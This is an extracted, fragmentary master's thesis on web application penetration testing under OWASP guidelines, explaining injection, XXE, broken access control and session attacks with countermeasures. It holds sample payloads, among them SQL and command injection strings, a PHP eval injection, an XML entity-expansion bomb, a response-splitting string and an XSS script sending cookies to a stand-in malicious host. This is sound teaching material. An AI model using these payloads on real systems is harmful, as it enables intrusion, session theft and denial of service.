Web Application Penetration Testing - An Analysis of A Corporate Application According To OWASP Guidelines
Web Application Penetration Testing - An Analysis of A Corporate Application According To OWASP Guidelines
U NIVERSITY OF B OLOGNA
M ASTER T HESIS
Author: Supervisor:
Alessandro C ORDELLA Luciano B ONONI
Co-Supervisor:
Fabrizio C RINÒ
Faculty of Science
Third graduation session
Academic year 2017-2018
iii
“There are only two types of companies: those that have been hacked and those that
will be hacked.”
Robert S. Mueller
v
Abstract
Faculty of Science
Computer Science department
Master in Computer Science
During the past decade, web applications have become the most prevalent
way for service delivery over the Internet. As they get deeply embedded
in business activities and required to support sophisticated functionalities,
the design and implementation are becoming more and more complicated.
The increasing popularity and complexity make web applications a primary
target for hackers on the Internet[1]. According to Internet Live Stats up to
February 2019[2], there is an enormous amount of websites being attacked
every day, causing both direct and significant impact on huge amount of peo-
ple.
Even with support from security specialist, they continue having troubles
due to the complexity of penetration procedures and the vast amount of test-
ing case in both penetration testing and code reviewing. As a result, the
number of hacked websites per day is increasing.
The goal of this thesis is to summarize the most common and critical vulnera-
bilities that can be found in a web application, provide a detailed description
of them, how they could be exploited and how a cybersecurity tester can find
them through the process of penetration testing.
To better understand the concepts exposed, there will be also a description of
a case of study: a penetration test performed over a company’s web applica-
tion.
vii
Acknowledgements
I would like to thank all the people who accompanied me during the uni-
versity period.
Contents
Abstract v
Acknowledgements vii
1 Introduction 1
2 Web applications 3
2.1 Web platforms - Background . . . . . . . . . . . . . . . . . . . 3
2.2 Problems and Challenges . . . . . . . . . . . . . . . . . . . . . 4
3 OWASP Guidelines 7
3.1 Open Web Application Security Project . . . . . . . . . . . . . 7
3.2 Why OWASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
3.3 OWASP Top 10 Proactive Controls 2018 . . . . . . . . . . . . . 8
3.3.1 Define Security Requirements . . . . . . . . . . . . . . . 8
3.3.2 Leverage Security Frameworks and Libraries . . . . . . 9
3.3.3 Secure Database Access . . . . . . . . . . . . . . . . . . 9
3.3.4 Encode and Escape Data . . . . . . . . . . . . . . . . . . 10
3.3.5 Validate All Inputs . . . . . . . . . . . . . . . . . . . . . 10
3.3.6 Implement Digital Identity . . . . . . . . . . . . . . . . 10
3.3.7 Enforce Access Controls . . . . . . . . . . . . . . . . . . 10
3.3.8 Protect Data Everywhere . . . . . . . . . . . . . . . . . 11
3.3.9 Implement Security Logging and Monitoring . . . . . . 11
3.3.10 Handle all Errors and Exceptions . . . . . . . . . . . . . 11
5 Testing methodology 75
5.1 Testing Approaches . . . . . . . . . . . . . . . . . . . . . . . . . 75
5.1.1 Penetration testing . . . . . . . . . . . . . . . . . . . . . 80
5.2 Automatic Scanners . . . . . . . . . . . . . . . . . . . . . . . . . 82
5.3 Proxies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
5.4 Web Application Security Testing . . . . . . . . . . . . . . . . . 84
5.4.1 Information Gathering . . . . . . . . . . . . . . . . . . . 85
5.4.2 Configuration and Deployment Management Testing . 87
5.4.3 Identity Management Testing . . . . . . . . . . . . . . . 88
5.4.4 Authentication Testing . . . . . . . . . . . . . . . . . . . 89
5.4.5 Authorization Testing . . . . . . . . . . . . . . . . . . . 91
5.4.6 Session Management Testing . . . . . . . . . . . . . . . 91
5.4.7 Input Validation Testing . . . . . . . . . . . . . . . . . . 93
5.4.8 Error Handling . . . . . . . . . . . . . . . . . . . . . . . 95
5.4.9 Cryptography . . . . . . . . . . . . . . . . . . . . . . . . 95
5.4.10 Business Logic Testing . . . . . . . . . . . . . . . . . . . 96
5.4.11 Client Side Testing . . . . . . . . . . . . . . . . . . . . . 97
xi
7 Conclusion 119
A Sommario 121
xiii
List of Figures
Listings
List of Abbreviations
Chapter 1
Introduction
During the past decade, web applications have become the most prevalent
way for service delivery over the Internet. As they get deeply embedded
in business activities and required to support sophisticated functionalities,
the design and implementation are becoming more and more complicated.
The increasing popularity and complexity make web applications a primary
target for hackers on the Internet[1]. According to Internet Live Stats up to
February 2019[2], there is an enormous amount of websites being attacked
every day, causing both direct and significant impact on huge amount of peo-
ple.
Even with support from security specialist, they continue having troubles
due to the complexity of penetration procedures and the vast amount of test-
ing case in both penetration testing and code reviewing. As a result, the
number of hacked websites per day is increasing: from 25.000 hacked web-
sites per day on April 2015[4] to 100.000 hacked websites per day on February
2019.
New security vulnerabilities are discovered every day in today’s systems,
networks and application software. In addiction to this, web applications are,
by definition, exposed to the public, including malicious users. Furthermore,
input to web applications comes through HTTP request and the process of
correctly processing the input is difficult.
The Gartner Group estimates that over 70% of attacks against a company’s
website or web application come at the application level, not at the network
or system layer[5]. Thus, traditional defence strategy such as firewalls do not
protect against web application attacks, as these attacks rely solely on HTTP
traffic, which is usually allowed to pass through firewalls unhindered[6].
The goal of this thesis is to summarize the most common and critical vul-
nerabilities that can be found in a web application, provide a detailed de-
scription of them, how they could be exploited and how a cybersecurity
tester can find them through the process of penetration testing.
In section 2 there is a description of a general web application, which are its
components and what are the problems and challenges related to its devel-
opment respecting the security standards.
In section 3 there have been described the OWASP guidelines, the set of rules
that has been taken as a reference for what concerning security testing.
The section 4 contains a detailed description of the most common web ap-
plication vulnerabilities, how they can be classified, exploited and which are
2 Chapter 1. Introduction
Chapter 2
Web applications
Besides all these problems, one of the biggest challenges into approaching
web security is that the web is very peculiar in its own rights. Thought exist-
ing methodologies and experiences from other research areas can be ported
to the web, it is not easy to do so, since all the interactions there are mediated
by a web browser and make use of the HTTP(S) protocol. For instance, meth-
ods for protocol verification surely help in analysing web protocols, but they
cannot be directly applied to them without missing dangerous attacks[10].
The reason is that the browser is an unusual protocol participant, which acts
asynchronously and does not simply follow the protocol specifications, but
does a number of concurrent operations in the meanwhile.
1A Request for Comments (RFC) is a type of publication from the technology commu-
nity and it is authored by engineers and computer scientists in the form of a memorandum
describing methods, behaviours, research, or innovations applicable to the working of the
Internet and Internet-connected systems.
7
Chapter 3
OWASP Guidelines
In OWASP project, there is a collection of guides which can help the devel-
oper and the tester of a software to check the security level of a web applica-
tion.
For instance, there is the Development Guide, which provides practical guid-
ance different code samples. This document covers a considerable amount of
application level security issues, from SQL injection (4.3.1) through modern
concerns such as phishing, session fixation (4.14.5), cross-site request forg-
eries (4.14.1) and privacy issues.
There is also the Testing Guide, which will be described in detail in section 5.
It includes a penetration testing guide that describes techniques aimed in
finding the most common web application and web service security issues.
It’s important to mention the OWASP Top Ten (4.2) too, which is an annual
publication with the ten most critical risks encounter during the year.
Moreover, there are some tools, like the Zed Attack Proxy, which help the
tester during the penetration testing phase.
There are several types of access control design which will be described in
4.7:
• Encrypt data in transit When transmitting sensitive data over any net-
work, end to end communications security of some kind should be con-
sidered;
• Encrypt data at rest Avoid storing sensitive data when at all possible;
if you must store sensitive data, make sure it’s cryptographically pro-
tected in some way to avoid unauthorized disclosure and modification.
• Ensure that error messages displayed to users do not leak critical data,
but are still verbose enough to enable the proper user response;
• Ensure that exceptions are logged in a way that gives enough informa-
tion for support, forensics or incident response team to understand the
problem;
Chapter 4
4.1 Vulnerabilities
A vulnerability is a property of system security requirements, design, im-
plementation, or operation that could be accidentally triggered or intention-
ally exploited and result in a security failure. Vulnerability is the result of
one or more weaknesses in requirements, design, implementation or opera-
tion[12].
The following model shows a vulnerability-incident life-cycle which pro-
vides an illustration about how vulnerability may become a potential secu-
rity threat and afterwards develop to an incident:
Some of the basic steps that an attacker has to follow in order to exploit a
vulnerability can be summarized as follows:
• Escalate privileges;
4.1.1 Risks
Attackers can potentially use many different paths through an application to
do harm its business or organization. Each of these paths represents a risk
that may, or may not, be serious enough to warrant attention.
Sometimes these paths are trivial to find and exploit, and sometimes they
are extremely difficult. Similarity, the harm that is caused may be of no con-
sequence, or it may cause some trouble. To determinate the risk to an or-
ganization that is using the web application, it is possible to evaluate the
likelihood associated with each threat agent, attack vector, security weak-
ness and combine it with an estimate of the technical and business impact to
the organization[15].
16 Chapter 4. Most Critical Web Application Security Risks
1. Identifying a risk;
Identifying a risk The first step is to identify a security risk that needs to be
rated. The tester try to get information about the vulnerability involved and
the impact of a successful exploit. In general, it’s better to use the worst-case
option, as that will result in the highest overall risk.
Factor for estimating likelihood Once a potential risk has been identified
and it has to figure out how serious it is, the first step is to estimate the likeli-
hood. In short, this is a measure of how likely a particular vulnerability is to
be uncovered and exploited by an attacker.
There are different factors that can help determine the likelihood, such as the
4.1. Vulnerabilities 17
set of factors that are related with the threat agent. The likelihood of a suc-
cessful attack is estimated from a group of possible attacks: considering that
there may be multiple threat agents that can exploit a particular vulnerabil-
ity, the worst-case scenario is usually used.
Each factor has a set of options, and each option has a likelihood rating from
0 to 9 associated with it. Threat agent factors are skill level, motive, opportu-
nity and size, while vulnerability factors are ease of discovery, ease of exploit,
awareness and intrusion detection.
Factors for estimating impact Each impact can be of two types: the former
is the technical impact on the application; the latter is the business impact on the
business of the company to which the application belongs. Often the busi-
ness impact is considered more important.
Similar to likelihood’s factors, each factor has a set of options, and each op-
tion has an impact rating from 0 to 9 associated with it. The technical impact
factors are loss of confidentiality, loss of integrity, loss of availability and loss of
accountability, while business impact factors are financial damage, reputation
damage, non-compliance and privacy violation.
Determining the severity of the risk In this step the likelihood estimate
and the impact estimate are put together to calculate an overall severity for
this risk. This is done by figuring out whether the likelihood is low, medium,
or high and then do the same for impact. The 0 to 9 scale is split into three
parts:
Deciding what to fix After the risks to the application have been classified,
a priority list contained the element to fix should be draw up. In general,
the most severe risks should be fixed first. Fix less important risks doesn’t
help the overall risk profile, even if they’re easy to fix; indeed not all risks are
worth fixing and some loss is not only expected, but justifiable based upon
the cost of fixing the issue.
Each organization is different than others and so are the threat actors for
each organization, their goals and the impact of any vulnerability. It is critical
to understand the risk to the organization based on apphttps://studenti.unibo.it/sol/student
threat agents and business impact.
That said, the top 10 vulnerabilities highlighted from OWASP are described
in the following sections.
for web application security and it represents a broad consensus about the
most critical security risks for web applications. Adopting the OWASP Top 10
is maybe the most effective first step towards changing the software develop-
ment life-cycle in order to develop secure code. This list is usually refreshed
in every 3-4 years.
The following sections contain a detail description of each vulnerability listed
in the OWASP Top 10.
4.3 Injection
Injection flaws, such as SQL, OS and LDAP injection, occur when untrusted
data is sent to an interpreter as part of a command or query. The attacker’s
data can trick the interpreter into executing unintended command or access-
ing data without proper authorization.
• Injection mechanism;
• Attack intent.
Injection mechanism
Some malicious SQL statements can be introduced into a vulnerable applica-
tion using many different input mechanisms.
Injection through user input In case of injection trough user input, at-
tackers inject SQL commands by providing a crafted user input. A web appli-
cation can read user input in different ways, but in most SQLIAs user input
comes from form submissions that are sent to web application via HTTP GET
or POST requests.
newPassword and oldPassword are the new and old password, respectively,
and userName is the name of the user currently logged in ("admin’ –"). There-
fore, the query string that is sent to the database is (assuming that newPass-
word and oldPassword are "newpwd " and "oldpwd):
Attack Intent
Attacks can also be characterized based on the goal or intent of the attacker.
Extracting data These types of attack employ techniques that will ex-
tract data values from the database. Depending on the type of web applica-
tion, this information could be sensitive and high desirable to the attacker.
Attacks with this intent are the most commons type of SQLIA.
SQLIA types
Some of the different type of SQLIA will be now presented and each attack
type will be characterized by a descriptive name, one or more attack intents,
a description of the attack and an attack example. In order to better explain
the attack methodologies, a simple example application that contains an SQL
injection vulnerability is introduced.
The code extract in Listing 4.3 implements the login functionality for an ap-
plication. It is based on similar implementations of login functionality that
can be found in existing web based application. The code in the example uses
the input parameter login, pwd and code to dynamically build an SQL query
and submit it to a database.
authentication pages and extract data. In this type of injection, an attacker ex-
ploits an injectable field that is used in a query’s WHERE conditional. Trans-
forming the conditional into a tautology causes all the rows in the database
table targeted by the query to be returned. Generally, for a tautology-based
attack to work, an attacker must consider not only the injectable parameters,
but also the coding constructs that evaluate the query results.
Typically, the attack is successful when the code either displays all the re-
turned records or performs some action if at least one record is returned.
Example: In this example attack, an attacker submits “ ’ or 1=1 - -” for the
login input field (the input submitted for the other fields is irrelevant). The
resulting query is:
The code injected in the conditional (OR 1=1) transforms the entire WHERE
clause into a tautology. The database uses the conditional as the basis for
evaluating each row and deciding which ones to return to the application.
Because the conditional is a tautology, the query evaluates to true for each
row in the table and returns all them. In our example, the returned set eval-
uates to a not null value, which causes the application to conclude that the
user authentication was successful.
In the previous string, the injected select query attempts to extract the first
user table (xtype=’u’) from the database’s metadata table (assume the appli-
cation is using Microsoft SQL Server, for which the metadata table is called
sysobjects). The query then tries to convert this table name into an integer,
but, considering that this is not a legal type conversion, the database throws
an error.
Considering that there is no login equal to “”, the original query returns the
null set, while the second query returns data from the “CreditCards” table.
The database takes the results of these two queries, unions them, and returns
them to the application.
4.3. Injection 25
After completing the first query, the database would recognize the query de-
limiter (“;”) and execute the injected second query. The result of the execu-
tion of the second query would be to drop table users, which might destroy
valuable information. Other types of queries could insert new users into the
database or execute stored procedures.
Blind Injection: In this technique, the information must be inferred from the
behaviour of the page by asking the server true/false questions. If the
26 Chapter 4. Most Critical Web Application Security Risks
Example: In the following examples two ways in which Inference based attacks
can be used are shown.
The first of these is identifying injectable parameters using blind injection.
Consider two possible injections into the login field. The first being
Let’s considered now two scenarios. In the former, there is a secure applica-
tion and the input for login is validated correctly. In this case, both injections
would return login error messages and therefore the attacker would know
that the login parameter is not vulnerable. In the latter, there is an insecure
application and the login parameter is vulnerable to injection. The attacker
submits the first injection and the application returns a login error message,
because it always evaluates to false. In any case, at this point the attacker
doesn’t know if this is because the application validated the input correctly
and blocked the attack attempt or because the attack itself caused the login
4.3. Injection 27
error. The attacker submits then the second query, which is always evaluated
to true. If in this case there is no login error message, then the attacker knows
that the attack was successful and that the login parameter is vulnerable to
injection.
The second way inference based attacks can be used is to perform data ex-
traction. Here it has been illustrated how to use a Timing based inference
attack to extract a table name from the database. In this attack, the following
text is injected into the login parameter:
In this attack the first character of the first table’s name is extracted through
the SUBSTRING function. Using a binary search strategy, the attacker can
then ask a series of questions about this character. In this case, the attacker
is asking if the ASCII value of the character is greater-than or less-than-or-
equal-to the value of X. If the value is greater, the attacker will see an addi-
tional 5 second delay in the response of the database. The attacker can then
use a binary search by varying the value of X to identify the value of the first
character.
Another layer may use different escape characters or even completely dif-
ferent ways of encoding. For example, a database could use the expression
char(120) to represent an alternately-encoded character “x”, but char(120) has
no special meaning in the application language’s context. An effective code-
based defence against alternate encodings is difficult to implement in prac-
tice because it requires developers to consider all the possible encodings that
could have been applied at a given query string.
Example: Because every type of attack could be represented using an al-
ternate encoding, here we simply provide an example of how esoteric an
alternatively-encoded attack could appear. In this attack, the following text
is injected into the login field:
“legalUser’; exec(0x73687574646f776e) - - ”
The resulting query generated by the application is:
This example makes use of the char() function and of ASCII hexadecimal
encoding. The char() function takes as a parameter an integer or hexadeci-
mal encoding of a character and returns an instance of that character. The
stream of numbers in the second part of the injection is the ASCII hexadec-
imal encoding of the string “SHUTDOWN”. Therefore, when the query is
interpreted by the database, it would result in the execution, by the database,
of the SHUTDOWN command.
Classical result based command injection is the simplest and most com-
mon command injection attack. The attacker makes use of several common
Linux shell operators, which either concatenate the initial genuine commands
with the injected ones, or exclude the initial commands executing only the in-
jected one.
These operators are:
Redirection operators (i.e. "<","»",">) that allow the attacker to redirect com-
mand input or output;
Pipe operator (i.e. "|") that allows the attacker to chain multiple commands,
in order to redirect the output of one command into the next one;
Semicolon operator (i.e.";") that allows the attacker to chain in one code line
a sequence of multiple arbitrary OS commands separated by semicolons;
Command substitution operators (i.e. "‘", "$()") that can be used to evaluate
and execute a command as well as provide its result as an argument to
another command;
New line feed (i.e. "\n","%0a") that separates each command and allows the
attacker to chain multiple commands.
<?php
if(isse($_GET["addr"])) {
echo exec("/bin/ping -c 4".$GET["addr"]);
}
?>
A web application which runs it, simply executes and prints the output of
the ping command to an IP address that is provided to the application via
the GET "addr" parameter. They key function of the snippet is the "exec()",
which is a PHP function that executes a command, which is given to "exec()"
as an argument.
Consider now the following URL for the web application:
30 Chapter 4. Most Critical Web Application Security Risks
http://example/file.php?addr=127.0.01
In this case. the value of "addr" GET parameter is 127.0.0.1 and a ping com-
mand will be executed four times for it through the "exec()" function. The
"addr" GET parameter is under the control of the end user. Assuming that
an attacker wants to inject and execute the "ls" command, he can modify the
"addr" GET parameter by injecting the attack vector, ";ls", so that the new
value of "addr" parameter becomes "127.0.0.1:ls". Using the following URL
http://example/file.php?addr=127.0.0.1;ls
the web application executes via the "exec()" function the command
"/bin/ping -c 4 127.0.0.1;ls"
which is composed of two different commands separated by the ";" opera-
tor and executed one after the other. The output of the two commands is
returned to the attacker.
<?php
if(isse($_GET["name"])) {
eval("echo \"Hello, ".$_GET[’name’]."!\";");
}
?>
An application running it takes the value of the name GET parameter and
uses it as an argument for the "eval()" function, in order to print it back. An
attacker can supply a specifically crafted input to the "eval()" function, which
results in command injection through dynamic code evaluation. In particu-
lar, the attacker can modify the "name" GET parameter so that its value is a
PHP command like ".print(’ls’);//". That is, the attacker uses the following
URL:
4.3. Injection 31
http://example/file.php?name=".print(’ls’);
In this case, the application executes the PHP code print(’ls’). To be more
specific, the prefix "." is used to break the syntax and reform it concatenated
with print(’ls’).
query. When the altered query is executed, it leads to different types of secu-
rity breaches, depending on the target application.
For instance, let’s suppose we have a web application using a search filter
like the following one:
searchfilter="(cn="+user+")"
which is instantiated bu an HTTP request like this:
http://www.example.com/ldapsearch?user=John
If the value "John" is replaced with a "*", the filter will look like:
searchfilter="(cn=*)"
which matches every object with a ’cn’ attribute equals to anything. If the
application is vulnerable to LDAP injection, it will display some or all the
users’ attributes, depending on the application’s execution flow and the per-
missions of the LDAP connected user.
LDAP injection vulnerability detection has been least addressed in the litera-
ture[20] and therefore, there is the need of more researches about this type of
vulnerability, how it can be detected and exploited.
4.3.4 Countermeasure
The root cause of injection vulnerabilities is insufficient input validation[17].
Therefore, the straightforward solution for eliminating these vulnerabilities
is to apply suitable defensive coding practice.
Some or the best practices proposed in the literature are summarized as fol-
lows:
Identification of all input sources Developers must check all input to their
application. There are many possible sources of input to an application,
but, simply put, all input sources must be checked.
Although defensive coding practices remain the best way to prevent injec-
tion vulnerabilities, their application is problematic in practice. Defence cod-
ing is prone to human error and is not as rigorously and completely applied
as automated techniques. While most developers do make an effort to code
safely, it is extremely difficult to apply defensive coding practices rigorously
and correctly to all sources input[17].
A study[25] has listed the major root cause of broken authentication vul-
nerabilities:
36 Chapter 4. Most Critical Web Application Security Risks
4.4.2 Countermeasures
In order to avoid authentication problems, some configuration should be
implemented in the system at different level.
4.4. Broken Authentication 37
• Ensure that passwords used are not commonly used password that
have been already been leaked in a previous compromise.
Session Management
Session Management, as said before, is one of the key process that outlines
the security of a web application, but while it involves both authentication
and authorization, it will be discussed in section 4.7.1.
38 Chapter 4. Most Critical Web Application Security Risks
4.5.1 Countermeasures
Mitigation methods that web developers may utilize, aim to protect users
from different types of potential threats and aggressions that might try to
undermine their privacy and anonymity. Some of them are: Strong Cryptog-
raphy, Support HTTP Strict Transport Security, Digital Certificate Pinning and
Prevent IP Address Leakage.
4.5. Sensitive Data Exposure 39
Strong Cryptography Any online platform that handles user identities, pri-
vate information or communications must be secured with the use of strong
cryptography. User communications must be encrypted in transit and stor-
age. User’s sensitive information must also be protected using strong, collision-
resistant hashing algorithms with increasing work factors, in order to greatly
mitigate the risks of exposed credentials as well as proper integrity control.
To protect data in transit, developers must use and adhere to TLS/SSL best
practices such as verified certificates, adequately protected private keys, us-
age of strong ciphers only, informative and clear warnings to users, as well as
sufficient key lengths. Private data must be encrypted in storage using keys
with sufficient lengths and under strict access conditions, both technical and
procedural.
Support HTTP Strict Transport Security HTTP Strict Transport Security (HSTS)
is an HTTP header set by the server indicating to the user agent that only se-
cure (HTTPS) connections are accepted, asking the user agent to change all
insecure HTTP links to HTTPS, and forcing the compliant user agent to fail-
safe by refusing any TLS/SSL connection that is not trusted by the user. HSTS
is very useful for users who are in consistent fear of spying and Man in the
Middle Attacks1 . Developers should give users the choice to enable it if they
wish to make use of it, in the case that it’s impractical to force HSTS on all
users.
take into account the benefits of allowing users to block 3rd-party content
from being loaded in the application page. If it was possible to embed 3rd-
party, external domain images, for example, in a user’s feed or timeline, an
adversary might use it to discover a victim’s real IP address by hosting it on
his domain and watch for HTTP requests for that image.
Web developers are advised to consider giving users the option of blocking
external content as a precaution.
• Encrypt all data in transit with secure protocols such as TLS with perfect
forward secrecy (PFS) ciphers and secure parameters. Enforce encryption
using directives like HTTP Strict Transport Security (HSTS);
concept called an entity, which is a storage unit of some type. There are a few
different type of entities:
Predefined entities refer to mnemonic aliases for special character that all
XML parses required to honour according to the specification;
Regular entities are defined in a DTD and refer to internal resources that
use simple text substitutions in a XML document;
External entities refer to external resources that reside either in the local
filesystem or in a remote host.
file is included as the lastname field. Considering that the evaluation of en-
tities occurs within the XML parser, the application receiving this request
would have no obvious way to determine that the content was currently not
provided by the attacker as a literal string in the lastname field. Later, the at-
tacker would need to induce the application into providing the attacker this
previously submitted user profile information, which would then contain the
desired file contents.
While useful to an attacker, this classic data extraction technique is limited in
many practical ways.
URL Invocation Another technique for XEE attacks involves the use of
URL headers to expose additional attack surface. Each XML parser and as-
sociated platform provides a different set of URL schemes. The XML speci-
fications don’t require any specific URl schemes to be supported, but many
platforms expose all URL schemes supported by underlying networking li-
braries.
By invoking URLs from within XML external entities of other contexts, an at-
tacker can make the system hosting the XML parser to send potentially mali-
cious requests to third party systems. These server side request forgery (SSRF)
techniques can lead to more complex attacks against other internal services,
even ones local to the machine that are not otherwise exposed. The behaviour
of theURL handler varies, thus, some URL handlers can be exploited in order
to take control over the network of communication
One often neglected fact about URL capabilities is that many XML parsers
can be forced into invoking URL handlers even when external entities are
disabled. For instance, some parsers will evaluate the following XML docu-
ment and retrieve the URL referenced in the document definition:
Parameter Entities Parameter entities are a special type of entity that may
be used only within a DTD definition itself. These entities are defined much
the same as document entities, but behave more like code macros and allow
4.6. XML External Entities 43
However, it is possible to utilize parameter entities to first wrap the file con-
tent in a CDATA escape, bypassing the limitation:
This works because parameter entity references are not expected to conform
to XML syntax at the moment of evaluation. Ultimately, this allows one to
include most well-formed XML documents inline and to have them treated
as literal text
Denial of Service Attacks There are different ways in which XXE and re-
lated issues can be exploited to conduct denial of service attacks and few
44 Chapter 4. Most Critical Web Application Security Risks
<?xml version="1.0"?>
<!DOCTYPE testz [
<!ENTITY test "test">
<!ENTITY test2
"&test;&test;&test;&test;&test;&test;&test;&test;&test;
&test;">
<!ENTITY test3
"&test2;&test2;&test2;&test2;&test2;&test2;&test2;&test2;
&test2;&test2;">
<!ENTITY test4
"&test3;&test3;&test3;&test3;&test3;&test3;&test3;&test3;
&test3;&test3;">
<!ENTITY test5
"&test4;&test4;&test4;&test4;&test4;&test4;&test4;&test4;
&test4;&test4;">
<!ENTITY test6
"&test5;&test5;&test5;&test5;&test5;&test5;&test5;&test5;
&test5;&test5;">
<!ENTITY test7
"&test6;&test6;&test6;&test6;&test6;&test6;&test6;&test6;
&test6;&test6;">
<!ENTITY test8
"&test7;&test7;&test7;&test7;&test7;&test7;&test7;&test7;
&test7;&test7;">
<!ENTITY test9
"&test8;&test8;&test8;&test8;&test8;&test8;&test8;&test8;
&test8;&test8;">
]>
<testz>&test9;</testz>
Going through the evaluation process showed in the previous example, when
a XML parser load this document it will include one root element testz that
contains the defined entity &test19;. The &test19 entity expands to a string
containing ten &test18; entities. Each &test18; entity is expanded to ten other
&test17 entities and so forth, until it reaches the leaf entity &test;. After pro-
cessing all the expansions, the entities are resolved through string substitu-
tions and consequently would incur considerable amounts of memory re-
sources.
4.7. Broken Access Control 45
4.6.2 Countermeasures
To be secure against these attacks, the XML parsers need to be hardened.
Hardening is a term which describes a process where a component is set up
in the most minimal and secure configuration required to run the applica-
tion. To be completely safe when writing software that process XML from
potentially untrusted sources, developers must be very careful to disable a
number of XML features. The key features that should be disabled are:
• Whenever possible, use less complex data format, such as JSON, and
avoiding serialization of sensitive data;
• Patch or upgrade all XML processors and libraries in use by the appli-
cation or on the underlying operating system;
• Verify that XML file upload functionality validates incoming XML us-
ing a validator.
Broken access control leads to unauthorized access to sensitive data and sys-
tem resources, with consequences such as information leakage and business
service shut down. Due to a lack of proper access enforcement, many web
applications check access rights before making functionality or system re-
sources visible[26]. However, the same check must be carried out on the
server side when a functionality or a resource is accessed. Otherwise, attack-
ers can forge request to get access to resource without being authorized.
Broken access control is a likely risk if the access control model of a system is
not designed and documented properly or the access control implementation
is not adequately tested. For this reason, access control testing and validation
is one of the most important aspect to consider in order to decrease the level
of risk.
Generally, access control is made of two elements: Access Control policy spec-
ifications and Access Control mechanisms that implement and enforce access
control policies[27]. Access control policies can be specified using models,
but these models must be correctly implemented and supported by runtime
verification mechanisms.
Moreover, it has to be ensured that all resources that need access protection
are properly covered by the policies and that such policies are not enforced
by the implementation.
Another problem is that, in practice, many systems use hard coded access
control policies in their business logic code and do so without documenta-
tions[26]. This implies that often there is no access control policy specification
available for testing and validation. As result, testing requires more human
effort and its cost increases.
The fundamental concepts in an access control model include:
Over the past decade, a number of access control models have been pro-
posed:
• Tokens, once created by the server, are added to each link the user clicks
on.
Session management also uses other mechanisms. For instance, some appli-
cation use HTTP authentication. Indeed, the browser could use the HTTP
header, rather than the application’s web page code, to send user credentials,
but this kind of authentication is not common. Other applications exploit
sessionless mechanisms; in other words, they don’t use tokens but send the
user’s dataset with each server interaction. Usually, this mechanism is used
in conjunction with cryptographic algorithms.
The main vulnerabilities concern token generations and session management
mechanisms.
Secure This attribute tells the browser to only send the cookie if the request
is being sent over a secure channel;
HttpOnly This attribute doesn’t allow the cookie to be accessed via a client
side script;
Domain This attribute is used to compare against the domain of the server
in which the URL is being requested;
Path It indicates the URL path that the cookie is valid for;
Expires This is used to set persistent cookies: they will not expire until the
set date is exceeded.
If a cookie doesn’t have the secure flag set, the cookie will be sent in un-
encrypted transmissions, while if the HTTPOnly flag isn’t set, attackers can
catch it through cross-site scripting (XSS4.9) attacks.
Attackers could also exploit a cookie’s scope. For instance, if a web applica-
tion sends a cookie, the cookie is valid for each subdomain, but not for the
parent domain. By setting the domain flag, the designer of a web application
can define the cookie’s scope, in which case, if the domain isn’t properly set,
attackers could exploit vulnerable applications in subdomains to intercept
the token.
4.7. Broken Access Control 49
HTTP packet Sniffing This attack intercepts HTTP packets. Attackers must
locate a sniffer in a machine in the network of the victim of the organization
responsible for the web application. The enabling vulnerabilities are: the
area fo the website that doesn’t use HTTPS is identifiable, the secure flag isn’t
set, the application allows HTTP request for pages under HTTPS and the
application uses HTTP before authentication.
Log Sniffing This attack obtains the token by analysing logfiles in different
systems involved in client server communication. There are two enabling
vulnerabilities: the token is transmitted as a URL parameter, in which case it
might be recorded in the log files, and the token is transmitted as a hidden
filed and the server accepts GET requests in place of POST requests, in which
case the token will be sent as a URL parameter and could be read in the log
file.
Cache Sniffing If the attacker access the browser or proxy cache, he could
obtain the token in any format containing it. The two enabling vulnerabilities
refer to how the web application manages the cache. First, these directives,
Expires:0 and Cache-Control:max-age=0 or Cache-Control:no-cache, aren’t in the
HTTP response header; second, the directive Control:private enables the cache
only on the machine on which the user is working. This situation creates risks
for shared machines.
<script>
Documnet.location="http://malicious-site.com/getCookie.php?" +
document.cookie
</script>
50 Chapter 4. Most Critical Web Application Security Risks
This is possible if the web application is vulnerable to XSS attacks and if the
HTTPOnly flag isn’t set.
Session Fixation The attacker fixes the token before the victim’s authenti-
cation. The attack has three steps:
1. Session setup The attacker creates a session on the server and receives
or creates the token. In some cases, the attacker must keep the session
alive by sending request at regular intervals;
2. Session fixation The attacker introduces the token into the victim’s browser;
3. Session entrance The attacker waits for the user to enter the session, at
which time the attacker can be also entered.
This attack type has been described more in detail in section 4.14.5.
HTTP Response Splitting Some applications use part of the user input to
generate the HTTP response header’s values. For instance, an application
could let the user choose an advance or standard interface. To select the type
of interface, the HTTP response header uses a parameter and if the selected
parameter is interface, the application will send this HTTP response:
If the application doesn’t control the input, the parameter interface could be
enriched with the string %0d%0a, which is the carriage return and line feed
sequence for separating different lines. This means that a response could
be generated and be interpreted as two different responses. An attacker can
exploit this vulnerability to provide fake content in following requests.
For instance, suppose an attacker adds to interface this value:
4.7. Broken Access Control 51
advanced%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.1%20200%20
OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2035%0d%0a%0d%0a<html>Sorry,%20
System%20Down</html>
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35
<html>Sorry,%20System%20Down</html>
<other data>
Because the web cache will consider two different responses, if the attacker
sends a second request with /index.html, the web cache will match this last re-
quest with the second response and will store the content. So, all subsequent
requests passing from the cache to http://test-app/index.html will receive the
message System Down. The second response’s content could be as dangerous
as the attacker wishes. Candidates headers for this attack are Location and
Set-Cookie.
4.7.3 Countermeasures
In order to avoid access control vulnerabilities the following requirements
should be considered at the initial stage of application development:
Force All Requests to Go Through Access Control Checks Ensure that all
request go through some kind of access control verification layer.
Log All Access Control Events All access control failures should be logged
as these may be indicative of a malicious user probing the application vul-
nerabilities.
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
doSomething();
}
if (user.hasAccess("SOMETHING")) {
doSomething();
}
Attribute or feature based access control checks of this nature are the starting
point to building well-designed and feature rich access control systems and
they allow also greater access control customization capability over time.
4.8.1 Countermeasures
Security misconfiguration stems from human error, rather than general
weaknesses in protocols or common attack vectors. This means that a well-
structured development and update cycle, if properly implemented, will re-
liably counteract this risk. A repeatable process should be put in place to
secure and test the application during development, on the deployment of
any new features, and when any component is updated or changed.
Some preventive mechanisms to avoid security misconfiguration are listed
as follows:
When a user visits this trap page and clicks on the link that contains the
malicious scripts, the request containing XSS script is sent to the web server.
